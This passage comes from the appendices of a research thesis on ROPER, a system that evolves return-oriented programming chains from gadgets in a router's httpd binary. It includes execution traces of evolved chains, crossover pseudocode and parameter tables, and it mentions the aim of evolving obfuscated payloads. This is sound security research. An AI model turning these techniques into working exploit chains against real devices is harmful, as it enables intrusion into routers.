than 4 bytes is zero- or sign-extended to a word and returned in r0.

Though larger values can enlist other registers as vehicles – “a 128-bit containerized

vector is returned in r0-r3”, for example – the sole use of r0 is by far the most common

case, which explains why we see it being given so great a preference in figure 5.7.

“Cutting with the grain,” here, would mean adjusting our fitness function so that

it hews a bit closer to the expected behaviour of procedures in its host. We can try,

in particular, to base an individual’s classification decisions (for the purposes of a

classification task – this doesn’t impact the syscall preparation task at all) on the

contents of R0, alone.

There are several ways we might do this: we could assign different integer ranges

to each class, and then choose the class whose range in which the value in R0 falls.

Deciding on a fair choice of ranges is a nontrivial problem, however, and will largely

depend on the vicissitudes of the binary under attack.

We could allocate bit mask ranges to each class, and then the class for which

make_mask(class) & R0 has the most high bits. This remains close to the bid-based

approach, but uses bit slices of a single register to provide the “ballot boxes”, rather

than separate registers. As before, we could refuse to assign points in the event of a

tie: 0xffffffff and 0x00000000, for example, should not designate any particular

class, but be seen as a failure to choose – which helps us filter out quite a bit of noise

and trivial decisions.

Some experimentation showed, however, that slicing the 32-bit range into equal,

contiguous masks still results in a fairly significant skew in the early results, before

selection has gone to work: the lower 8 bits, for example, are consistently favoured,
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as are the top 8, since they are set whenever the value in R0 represents a negative

integer.

To balance the playing field, and ensure a bit of variety between runs, I used a

simple algorithm to allocate non-colliding, randomized masks to each class in the con-

figuration stage of each run (it’s a crude, trial-and-error based, expensive algorithm,

but negligibly so, since it only needs to be performed once per run), such that the

masks each contain an equal number of ones, and have a boolean sum that has n

ones, where n = 32 mod |classes|.

This method tends to give a more or less equal probability, it seems, to the base

likelihood of each class being chose, at least within one order of magnitude – which

is sufficient, since we can let the fitness sharing mechanism sort out the remaining

disparities.

Results so far have been encouraging. A solution to the trivial classification prob-

lem, involving two linearly separable blobs, was solved within minutes with a perfect

detection rate, and a more algorithmically interesting solution than we saw when us-

ing the register-bid approach (which, I believe, encourages relatively trivial solutions

that do not generalize well at all, in the context of ROPER, since the only way to

properly weight the registers is often by simply moving the attribute values back and

forth between output registers, with minor tweaking – resources for subtly manipu-

lating values in the mid-range registers are just too scarce a resource in ROPER’s

environment). See tables A.1 and A.2, for execution traces of the champion classifier,

operating on exemplars of the red and blue classes, respectively. What we see here

is something we saw only rarely when using the register-bid algorithm, and almost

never in the champions produced by that algorithm – even when we try to encourage

it by incorporating a per-case performance diversity metric into the fitness function: a

difference in control flow, where ARM’s own conditional operators are used to decide

on the course of action, given readings from a particular exemplar. The decision point

in these specimens is the popeq instruction at address 0x0000cdd4, which pops the

stack if and only if the zero flag had been set by the previous flag-setting instruction

(here, subs r4, r0, #0, at 0x0000cdd0).

This still leaves the matter of input registers, however. One mitigation of the

uneven use of input registers that has already been implemented in ROPER is the
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IN: a3 fffffd6f
0000b4b4 | pop {r4, r5, r6, r7, r8, pc}
0000d9a8 | cmp r0, #0
0000d9ac | moveq r0, r3
0000d9b0 | pop {r3, pc}
0001010c | rsb r5, r5, r0
00010110 | cmp r5, #0x40
00010114 | movgt r0, #0
00010118 | movle r0, #1
0001011c | pop {r4, r5, r6, pc}
0000cdd0 | subs r4, r0, #0
0000cdd4 | popeq {r4, r5, r6, pc}
0000cdd8 stray | ldr r1, [pc, #0x1c]
0000cddc stray | mov r2, r4
0000cde0 stray | mov r0, #0
0000cde4 stray | bl #0x59e0
000127c4 stray | push {r1, r2, r3}
000127c8 stray | push {r0, r1, r2, r4, r5, r6, r7, r8, lr}
000127cc stray | mov r6, r0
000127d0 stray | mov r5, #0x400
000127d4 stray | add r7, sp, #0x28
000127d8 stray | ldr r8, [sp, #0x24]
000127dc stray | mov r0, r5
000127e0 stray | bl #4294933396
0000a374 stray | add ip, pc, #0
0000a378 stray | add ip, ip, #0x1e000
0000a37c stray | ldr pc, [ip, #0x5a8]!
0000a138 stray | str lr, [sp, #-4]!
0000a13c stray | ldr lr, [pc, #4]
0000a140 stray | add lr, pc, lr
0000a144 stray | ldr pc, [lr, #8]!

R0 (bin): 00000000000000000000010000000000

Table A.1: Behaviour of the champion of the Xysxim population, for a member of
the red class. Input registers are r2 and r3.
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IN: ffffff98 d
0000b4b4 | pop {r4, r5, r6, r7, r8, pc}
0000d9a8 | cmp r0, #0
0000d9ac | moveq r0, r3
0000d9b0 | pop {r3, pc}
0001010c | rsb r5, r5, r0
00010110 | cmp r5, #0x40
00010114 | movgt r0, #0
00010118 | movle r0, #1
0001011c | pop {r4, r5, r6, pc}
0000cdd0 | subs r4, r0, #0
0000cdd4 | popeq {r4, r5, r6, pc}
0000d9ac | moveq r0, r3
0000d9b0 | pop {r3, pc}
00016168 | add r0, r4, r0
0001616c | pop {r3, r4, r5, pc}
0000ad94 | mov r0, r3
0000ad98 | pop {r4, pc}
0001228c | add sp, sp, #0x364
00012290 | add sp, sp, #0x400
00012294 | pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}

R0 (bin): 00000000000000000000000011101010

Table A.2: Behaviour of the champion of the Xysxim population, for a member of
the blue class. Input registers are r2 and r3.
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Figure A.1: Performance of the Xysxim population on the simple, linearly separable
dataset first encountered in §5.3.3.2.
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possible use of the stack to pass input parameters for each problem. This is done by

associating with each clump an input_slots field, which tells the execution procedure

to replace the values at certain, specified stack indexes in the ROP payload with the

available input values, which offers much more flexibility, and adaptability, to the way

the population handles input.

A.2 Homologous crossover

A.2.1 The trouble with crossover

The trouble with crossover as it is currently implemented in ROPER, and with the

way it is canonically specified in most standard forms of GP, is that it is, as Nordin

and others put it [46], “too brutal ”, and insensitive to genomic context. The genome

can be sliced more or less at random – in ROPER, tempered only slightly by the gen-

tle weighting of splice-point probabilities through the fragility mechanism discussed

in 4.3.2.1 – combining and substituting genes without any regard to their form or

function.

Figure A.2: Unconstrained crossover in action
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A.2.2 An implementation of (quasi-)homologous crossover

In natural organisms, crossover is a highly constrained and sophisticated mechanism.

Under ordinary circumstances, only those genes sharing the same loci in their respec-

tive chromosomes are candidates for sexual recombination. This particular notion

of “loci”, however, has no genuine parallel in a canonical GP system. It would be a

mistake to translate it, simply, as “index”, since the ordering of a genome, at least at

the beginning of a run, has little structural significance with respect to function. A

semantically richer notion of structural position is desirable, here. Perhaps something

like the return address of the gadget correlated with a clump can provide an indi-

rect proxy for loci. This should at least correlate, noisily, with phenotypic behaviour

patterns, and can be assessed in unit time (since it is already stored in the clump’s

metadata) adding no further overhead to our crossover algorithm.

Semantically meaningful organic structure tends to be extraordinarily scarce at

the beginning of a run, and there’s no reason why we should trust a poorly performing

genome on having gotten anything “right” in the order of its genes. We don’t want

to prematurely constrain the possibilities of crossover, by enforcing quasi-homological

gene alignment on chains that may have very little interesting organization in the first

place. A sensible course of action would be to apply quasi-homological constraints

probabilistically, where the probability of application is proportionate to at least one

parent’s fitness. Algorithm A.1 shows one way this could be done.

The fecundity of this approach is the subject of ongoing experimental trials.

A.2.3 Alternative approaches to the problem

A more nuanced implementation of homologous crossover may be possible, using

runtime information gleaned from the execution of the parents – we could attempt to

align clumps on the basis of a fuzzy match of their register states at the moment of

execution of their return instructions, perhaps. This would capture the intuition of

letting the paternal segment of the offspring pick up where the maternal segment left

off, semantically speaking.
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Algorithm A.1 Quasi-homologous Crossver, using Return Address Alignment
Require: (µ⃗, φ⃗): ([[ clump ]], [[clump ]]), the parental genotypes

Require: fragility : [[clump ]] × [[ clump ]] × lineage → F
Require: (R, s): a PRNG and seed

Require: n: N, brood size

1: R← seed(R, s)

2: t←
∑

µ∈µ⃗ 1.0− fragilty(µ)

3: p,R← random-float(R, t) {p is more likely to fall on a highly fragile link}

4: x← 0

5: µi ← 0

6: while x < p do

7: x← x+ fragility(µi)

8: µi ← µi + 1

9: end while

{We now have the "mother’s" splice point, µi. With a probability proportionate

to her fitness, look for a homolog in the "father".}

10: x,R← random-float(R, 1.0)

11: if x > µfitness and (n, µiret) ∈ {(cindex, cret)|c ∈ ϕ} then

12: ϕi ← n

13: else

14: ϕi ← a random index, using the algorithm above

15: end if

16: µa, µb ← split µ at µi

17: ϕa, ϕb ← split ϕ at ϕi

18: χa ← µa ∪ φa {with metadata reinitialized and updated}

19: For χb, repeat with sexes reversed

20: return χa, χb {the offspring}
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A.3 Selecting for behavioural diversity

Fitness sharing, as currently implemented in ROPER, skews the selective process

so as to favour diversity, on a problem-by-problem basis. I explain the algorithm

used in §4.4.4, and demonstrate its impact on classification tasks in Section 5.3.3.3.2.

Its applicability, as we have seen, relies on a discretely decomposable and repeating

problem space, which is a serious limitation when it comes to problem spaces where

the variation is fine-grained or nonexistent: neither the syscall preparation task (cf.

§5.3.2), which uses a singleton problem set, nor the Snake experiment (cf. §5.3.4),

which uses a continuously varying problem set, currently benefit from this approach.

We might also wonder if a more fine-grained favouring of diversity might be useful,

even in problem spaces where fitness sharing can be made to apply – a metric that

would reward diversity even before a problem is solved, and which would nudge the

population towards evolving a diversity of solutions to each problem, given that some

approaches may generalize better than others, in unforeseen ways. A more robust

selection for diversity in behaviour may also strengthen ROPER’s potential to evolve

obfuscated and “heuristic-breaking” payloads – though, at this point, this remains a

speculative consideration, since we haven’t yet built an apparatus that could put this

to the test.

ROPER already has a wealth of generated data at is disposal, that could be

pressed into service, in this capacity: we are already tracking the execution paths

that each individual traces through the host process, for instance, but, until now, we

have only used this data for analytical purposes – as seen, throughout Chapter 5, in

the analysis of heatmap data.

I recently modified ROPER so that the heatmap data collected can be threaded

through to the function responsible for fitness evaluation. This function now scans

the heatmap and normalizes the number of hits each address has received into a float

between 0.0 and 1.0 – 1.0 indicating that the address is among the most frequently

visited, and 0.0 (or, rather, the absence of a value) indicating that it hasn’t been

visited at all. I then scan through the map of addresses visited by a particular chain,

on its most recent evaluation, and transform each into a weight by looking it up in

the hashtable that represents the normalized heatmap. These values are reduced to

a mean, which indicates just how well-trodden that chain’s path through the host
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is: a low value indicates that the chain took a path less travelled by, intersecting

fewer addresses visited before the current tournament (or any running parallel to it),

while a high value (closer to 1.0) indicates that the chain took a more well-trodden

path. This value is then multiplied by a constant parameter v (which is tuneable, and

currently set to 0.2, on a whim), and summed with the existing fitness value times

the complement of v:

fitness← (novelty ∗ v) + (fitness ∗ (1.0− v))

A.4 The clump TTL mechanism, and the role of extinction events

Shortly after writing the conclusion to this thesis and submitting the examination

draft, I began experimenting with the TTL mechanism on which I had pinned my

hopes for combating crash-prone but otherwise highly fit genes, which had shown a

tendency to spread malignantly through the population if left unchecked, under the

then-current configuration of ROPER.

During the initial chain spawning, each clump was assigned a TTL field, set,

somewhat arbitrarily, to 16 (informed somewhat by observations on the generation of

well-performing chains, in various tasks – but this was left tuneable).

I adjusted the case evaluation algorithm, so that at the end of each chain’s emula-

tion, it would store not only whether or not the chain had crashed, but the probable

indices of the clumps responsible for the crash, in one of its metadata fields. Those

indices were calculated on the basis of the return counter, which increments each time

a return address explicitly specified in the chain is visited. If the chain crashed with

a counter of n, then it would be likely (but not certain, due to straying) that the nth

clump had at least a share in responsibility for the crash.

In the crossover function, clumps with an index matching an entry in the crash

log would have their TTL shifted one bit to the right. If this resulted in zero, the

clump would be dropped, and a new one generated on the spot, using the initial pool

of addresses for its first word, and constants recycled – potentially repeatedly – from

the dead clump.

The result was far more disruptive to ROPER’s ecologies than I had foreseen.

Due to the relatively steadiness of the crash rate in most evolutions, over the long
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term, the average TTL values of each chain would tend to decline linearly, at first,

until reaching a crisis point where numerous clumps would begin to expire in unison.

This is likely due, in part, to the irreversible heritability of the TTL field: it is

passed intact by the crossover operator from parents to offspring, so that the crashes

that decrement it need not be genealogically contiguous. This would cause low TTL

counts to disseminate through the population with surprising breadth, so that the

final penalty of clump expiration could be visited upon descendants quite distant

from the highly crash-prone ancestors responsible for diminishing the TTL. This

would lead, in turn, to mass extinction events in the population, as indexed in the

astronomically poor turn taken by the crossover fitness delta metric in figure A.3 –

whose evolutionary run bore the same configuration as the population in which the

malignant gene problem was first diagnosed (see §5.3.3.2.1).

The next experiment was conducted using the syscall preparation task. At the

cost of an unusually slow convergence – which may, perhaps, be ameliorated by tuning

some of our newly-introduced parameters – the combination of placing an expiration

date on the last clump to execute in a crashing chain, and introducing a selective

incentive for behavioural diversity (see §A.3) appears to yield quite good results, so

far as maintaining diversity is concerned. One such outcome shows a distribution

of address visitations that has no precedent in the populations studied so far in

this thesis: a run that terminated with greater address visitation diversity than it

began with, while nevertheless, eventually, converging on a perfect absolute fitness

score. This occurred in the Soghuf population, in the course of completing the syscall

preparation task, outlined in §5.1.2.

The relatively low but nevertheless steady rate of crashes in the population, which

had settled into an equilibrium between 0.002 and 0.01 for most of the run, resulted

in a sawtooth oscillation in the mean TTL rate, correlated, naturally, with massive,

simultaneous clump die-offs at repeating intervals.

This had a strong impact on the fitness delta measurements for the crossover

operations, and a surprisingly large impact, it seems, on the stray rate. To the extent

that the TTL mechanism serves an ecological function in ROPER, it appears to do

so in a fashion comparable to forest fires, in the wild: a periodic catastrophe, which
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Figure A.3: Ecologically disruptive effects on the Xilvyb population caused by the
TTL mechanism, causing a mass extinction of clump lines during a simple linear
classification task, using register bid-bin classification.
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keeps tendencies towards premature convergence and stagnation in check, but which

nevertheless menaces even the fitter bloodlines in the population with extinction.

A modification could be made that lets a clump’s TTL be reset when it appears in

a non-crashing chain, or a non-crashing chain whose parents, too, were free of crashes,

and this may mitigate its ecological impact somewhat. As currently implemented, the

TTL mechanic appears to be of minor utility in problem spaces like those determined

by the syscall preparation task, but may be more useful when it comes to spaces in

which premature convergence is a problem that needs to be kept actively in check.

Figure A.4: The effects of visitation novelty pressure on the Soghuf population,
with the additional influence of a TTL field set to 4 and decremented on crash-prone
clumps during crossover. The homologous crossover mechanism was not used for this
run.

A.5 Iris, Revisited

Simple though it may be for systems engineered with no other task but classification

in mind, the Iris dataset has proved to be a continual source of challenges for ROPER.

The superb run plotted in 5.18 was never equaled in subsequent trials.

I recently revisited the dataset after implementing the modifications above, and,

with the exception of the TTL mechanism, enabled them for a run on the Iris set.

There has not yet been time to complete a trial as lengthy as the one that gave us

figure 5.18, but the results so far have shown an extraordinary improvement over their

predecessors. The performance curves for this run are shown in figure A.6.
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Figure A.5: Performance metrics over the Soghuf population. Note mass extinction
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Figure A.7: Comparison of the Iris dataset map with the classification performed
by the Luxxyn population’s champion, after only 30 seasons.

As we can see in figure A.7, even the linearly inseparable regions of the Iris set were

handled intelligently by the champion of this population (the Luxxyn population, the

last we’ll be considering in this thesis).
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C
Population Parameters

C.1 Note

Here, the reader can find a series of tables documenting the critical parameters used for

each of the populations referred to by name in this thesis. The best source of informa-

tion on how, exactly, these parameters were implemented is the project’s (admittedly

rather hairy) source code, at https://github.com/oblivia-simplex/roper. The

mutation rate, in each case, is just the complement of “crossover rate”, since each

reproduction event consisted in either mating with crossover, or cloning with mu-

tation. (This does not hold for the 2017 populations, Poclux , Cazmud and Ragweb,

however. In those runs, crossover was used in every reproduction event, and mutation

was applied with the probability specified in “mutation rate”. Numerous differences

in implementation also separate those experiments from the ones conducted more

recently. For details, please consult the git repository.)

The MD5 hash of the tomato-RT-N18U-httpd binary used in this series of exper-

iments is 16d38a233b45bab5b57476c11b066cfa.
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C.2 Parameter Tables

Table C.1: Parameters of the Cazmud population, 2017/03/26.
binary tomato-RT-N18U-httpd
brood size 2
fitness goal 0.1
fitness sharing false
headless chicken rate 0.15
input registers [0, 1, 2, 3]
maximum length 256
maximum start length 32
migration 0.05
minimum start length 2
mutation rate 0.9
number of demes 4
output registers [4, 5, 6]
population size 2048
threads 8
tournament size 4
use fragility false
use return counter false
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Table C.2: Parameters of the Fimjek population, 2018/04/02.
binary tomato-RT-N18U-httpd
brood size 2
crossover rate 0.2
edi toggle rate 0
fitness goal 0.1
fitness sharing true
headless chicken rate 0.15
initial edi rate 0
input registers [0, 1, 2, 3]
maximum length 256
maximum start length 32
migration 0.05
minimum start length 2
number of demes 4
output registers [4, 5, 6]
population size 2048
threads 4
tournament size 4
use dynamic crash penalty true
use fragility false
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Table C.3: Parameters of the Fizwej population, 2018/04/09.
binary tomato-RT-N18U-httpd
brood size 2
crash penalty 0.5
crossover rate 0.5
edi toggle rate 0
fitness goal 0
fitness sharing false
headless chicken rate 0.15
initial edi rate 0
input registers [2, 3]
maximum length 256
maximum start length 32
migration 0.05
minimum start length 2
number of demes 4
output registers [0, 1]
population size 2048
threads 4
tournament size 4
use dynamic crash penalty false
use fragility true
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Table C.4: Parameters of the Hepfap population, 2018/04/01.
binary tomato-RT-N18U-httpd
brood size 2
crossover rate 0.2
edi toggle rate 0
fitness goal 0.1
fitness sharing true
headless chicken rate 0.15
initial edi rate 0
input registers [0, 1, 2, 3]
maximum length 256
maximum start length 32
migration 0.05
minimum start length 2
number of demes 4
output registers [4, 5, 6]
population size 2048
threads 4
tournament size 4
use dynamic crash penalty true
use fragility false
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Table C.5: Parameters of the Kathot population, 2018/04/09.
population size 2048
crossover rate 0.5
tournament size 4
brood size 2
minimum start length 2
maximum start length 32
maximum length 256
fitness goal 0
headless chicken rate 0.15
threads 4
number of demes 1
migration 0.05
use fragility true
output registers [2, 3]
input registers [0, 1]
binary tomato-RT-N18U-httpd
fitness sharing true
edi toggle rate 0
initial edi rate 0
crash penalty 0.75
use dynamic crash penalty false

Table C.6: Parameters of the Kurlig population, 2018/04/10.
binary tomato-RT-N18U-httpd
brood size 2
crash penalty 0
crossover rate 0.5
edi toggle rate 0
fitness goal 0
fitness sharing false
headless chicken rate 0.15
initial edi rate 0
maximum length 256
maximum start length 32
migration 0.05
minimum start length 2
number of demes 4
population size 2048
threads 4
tournament size 4
use dynamic crash penalty false
use fragility true
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Table C.7: Parameters of the Luxxyn population, 2018/04/16.
binary tomato-RT-N18U-httpd
brood size 2
class masks 98694840:0 2282b112:1 0514062d:2
crash penalty 0.5
crossover rate 0.5
edi toggle rate 0.3
fitness goal 0.15
fitness sharing true
headless chicken rate 0.15
homologous crossover true
initial edi rate 0.1
input registers [3, 4, 5, 6]
maximum length 256
maximum start length 32
migration 0.05
minimum start length 2
number of demes 4
output registers [0]
population size 2048
threads 6
tournament size 4
ttl 64000

Table C.8: Parameters of the Misjax population, 2017/04/20.
binary path tomato-RT-N18U-httpd
crossover rate 0.3
population size 4096
threads 1
tournament size 5
number of demes 4
migration 0.05
game seeds randomized and unique
game board radius 9
initial snake length 5
number of apples 2
number of cacti 2
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Table C.9: Parameters of the Poclux population, 2017/03/22.
binary path tomato-RT-N18U-httpd
brood size 2
fitness goal 0
headless chicken rate 0.15
maximum length 256
maximum start length 32
migration 0.1
minimum start length 2
mutation rate 0.45
number of demes 4
population size 1024
threads 8
tournament size 4
use fragility true

Table C.10: Parameters of the Ragweb population, 2017/03/26.
binary tomato-RT-N18U-httpd
brood size 2
fatal crash false
fitness goal 0.1
fitness sharing true
headless chicken rate 0.15
input registers [0, 1, 2, 3]
maximum length 256
maximum start length 32
migration 0.05
minimum start length 2
mutation rate 0.45
number of demes 1
output registers [4, 5, 6]
population size 2048
threads 4
tournament size 4
use fragility true
use return counter false
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Table C.11: Parameters of the Rofted population, 2018/04/04.
binary tomato-RT-N18U-httpd
brood size 2
crossover rate 0.2
edi toggle rate 0.05
fitness goal 0
fitness sharing false
headless chicken rate 0.15
initial edi rate 0.1
input registers [1, 2, 3, 4]
maximum length 256
maximum start length 32
migration 0.05
minimum start length 2
number of demes 4
population size 2048
threads 4
tournament size 4
use fragility true

Table C.12: Parameters of the Simtyn population, 2018/04/04.
binary tomato-RT-N18U-httpd
brood size 2
crossover rate 0.2
edi toggle rate 0
fitness goal 0
fitness sharing false
headless chicken rate 0.15
initial edi rate 0
input registers [1, 2, 3, 4]
maximum length 256
maximum start length 32
migration 0.05
minimum start length 2
number of demes 4
population size 2048
threads 4
tournament size 4
use dynamic crash penalty true
use fragility true
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Table C.13: Parameters of the Soghuf population, 2018/04/05.
binary tomato-RT-N18U-httpd
brood size 2
crash penalty 0.2
crossover rate 0.5
headless chicken rate 0.15
edi toggle rate 0.3
fitness goal 0
fitness sharing true
homologous crossover false
initial edi rate 0.1
input registers [1, 2, 3, 4]
maximum length 256
maximum start length 32
migration 0.05
minimum start length 2
number of demes 4
population size 2048
tournament size 4
ttl 16
threads 4
use dynamic crash penalty true
use fragility true
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Table C.14: Parameters of the Wiwzuh population, 2018/04/07.
binary tomato-RT-N18U-httpd
brood size 2
crossover rate 0.2
edi toggle rate 0
fitness goal 0
fitness sharing false
headless chicken rate 0.15
initial edi rate 0
input registers [1, 2, 3, 4]
maximum length 256
maximum start length 32
migration 0.05
minimum start length 2
number of demes 4
population size 2048
threads 4
tournament size 4
use fragility true
use dynamic crash penalty true

Table C.15: Parameters of the Xeqcyv population, 2018/04/10.
binary tomato-RT-N18U-httpd
brood size 2
crash penalty 0.2
crossover rate 0.5
edi toggle rate 0
fitness goal 0
fitness sharing true
headless chicken rate 0.15
initial edi rate 0
maximum length 256
maximum start length 32
migration 0.05
minimum start length 2
number of demes 4
population size 2048
threads 1
tournament size 4
use dynamic crash penalty false
use fragility true
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Table C.16: Parameters of the Xilvyb population, 2018/04/16.
binary tomato-RT-N18U-httpd
brood size 2
crash penalty 1
crossover rate 0.5
headless chicken rate 0.15
edi toggle rate 0.3
fitness goal 0
fitness sharing true
homologous crossover false
initial edi rate 0.1
input registers [2, 3]
maximum length 256
maximum start length 32
migration 0.05
minimum start length 2
number of demes 4
output registers [0, 1]
population size 2048
tournament size 4
ttl 16
threads 4
use dynamic crash penalty true
use fragility true

155



Table C.17: Parameters of the Xufmoc population, 2018/04/03.
binary tomato-RT-N18U-httpd
brood size 2
crossover rate 0.2
edi toggle rate 0
fitness goal 0
fitness sharing false
headless chicken rate 0.15
initial edi rate 0
input registers [1, 2, 3, 4]
maximum length 256
maximum start length 32
migration 0.05
minimum start length 2
number of demes 4
population size 2048
threads 4
tournament size 4
use dynamic crash penalty true
use fragility true
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Table C.18: Parameters of the Xysxim population, 2018/04/13.
binary tomato-RT-N18U-httpd
brood size 2
class masks (random; data lost)
crash penalty 1
crossover rate 0.5
edi toggle rate 0
fitness goal 0
fitness sharing true
headless chicken rate 0.15
initial edi rate 0
input registers [2, 3]
maximum length 256
maximum start length 32
migration 0.05
minimum start length 2
number of demes 4
output registers [0]
population size 2048
threads 4
tournament size 4
use dynamic crash penalty false
use fragility true
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D
Index of Populations

The following index tracks the mention and discussion of each ROPER population

studied in the course of this thesis. Please see §5.2 for an explanation of the naming

convention.
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